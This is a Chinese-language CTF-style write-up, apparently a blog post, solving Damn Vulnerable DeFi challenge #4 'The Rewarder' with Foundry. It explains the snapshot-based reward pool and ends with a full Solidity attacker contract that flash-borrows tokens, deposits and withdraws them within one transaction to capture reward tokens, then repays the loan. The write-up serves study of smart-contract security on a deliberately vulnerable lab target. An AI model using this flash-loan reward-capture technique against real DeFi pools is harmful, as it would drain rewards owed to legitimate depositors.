xChar
·a year ago

Challenge #4 - The Rewarder

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

本题涉及的合约比较多,首先介绍ERC20Snapshot合约

ERC20Snapshot:继承自ERC20,通过SnapshotId可以追溯到每一个快照时间点的账户余额和总供应量,在ERC20 token的transfer之前会通过beforeTransfer来更新当前快照ID下的账号余额和总供应,通常用作分红、投票、空投等快照场景

image

这道题目中主要由RewardToken、AccountingToken、LiquidityToken和TheRewarderPool组成,它们的关系如下:

  • TheRewarderPool对外提供deposit和withdraw方法
    • deposit:用户存入liquidityToken,mint对应份额的AccountingToken,根据当前的快照轮次mint出一定数目的rewardToken,每5天一个新的快照轮次
    • withdraw:burn对应份额的AccountingToken,将用户存入的liquidityToken转移给用户

image

除此之外,本题还提供一个闪电贷合约,可用于通过闪电贷借出liquidityToken

测试

  • 创建alice bob charlie david四名用户,记录为users
  • 部署LiquidityToken FlashLoanerPool 合约,向FlashLoanerPool中转入liquidityToken 数目为:TOKENS_IN_LENDER_POOL
  • 部署 TheRewarderPool (连带部署RewardToken AccountingToken)
  • 遍历users数组,向每个用户都转入一定数目的liquidityToken,并deposit到TheRewarderPool,此时轮次为1
  • 将区块时间戳向后延长5天,再次遍历user数组,依次触发distributeRewards,每个用户都等分到rewardToken,此时轮次为2
  • 执行攻击脚本
  • 期望当前轮次为3,遍历users数组,触发distributeRewards,每个用户分到的rewardToken少于原来的1/4
    • 期望player的rewardToken余额大于0
    • 期望player的liquidityToken数目为0,FlashLoanerPool中的liquidityToken数目不变

题解

假设没有任何额外的用户操作,在下一轮次分配奖励的时候,users数组中的四位用户将会继续评分奖励,每个用户分到的rewardToken为总数的1/4

为了达到测试脚本的期望值,需要player参与rewardToken的分配,可以通过闪电贷借出liquidityToken,deposit到TheRewarderPool,此时可以触发新一轮的rewardToken分配,再通过withdraw赎回liquidityToken并返还给FlashLoanerPool

攻击合约代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    FlashLoanerPool flashloan;
    TheRewarderPool pool;
    DamnValuableToken dvt;
    RewardToken reward;
    address internal owner;

    constructor(address _flashloan,address _pool,address _dvt,address _reward){
        flashloan = FlashLoanerPool(_flashloan);
        pool = TheRewarderPool(_pool);
        dvt = DamnValuableToken(_dvt);
        reward = RewardToken(_reward);
        owner = msg.sender;
    }

    function attack(uint256 amount) external {
        flashloan.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external{
        dvt.approve(address(pool), amount);
        // deposit liquidity token get reward token
        pool.deposit(amount);
        // withdraw liquidity token
        pool.withdraw(amount);
        // repay to flashloan
        dvt.transfer(address(flashloan), amount);
        reward.transfer(owner, reward.balanceOf(address(this)));
    }
}
Loading comments...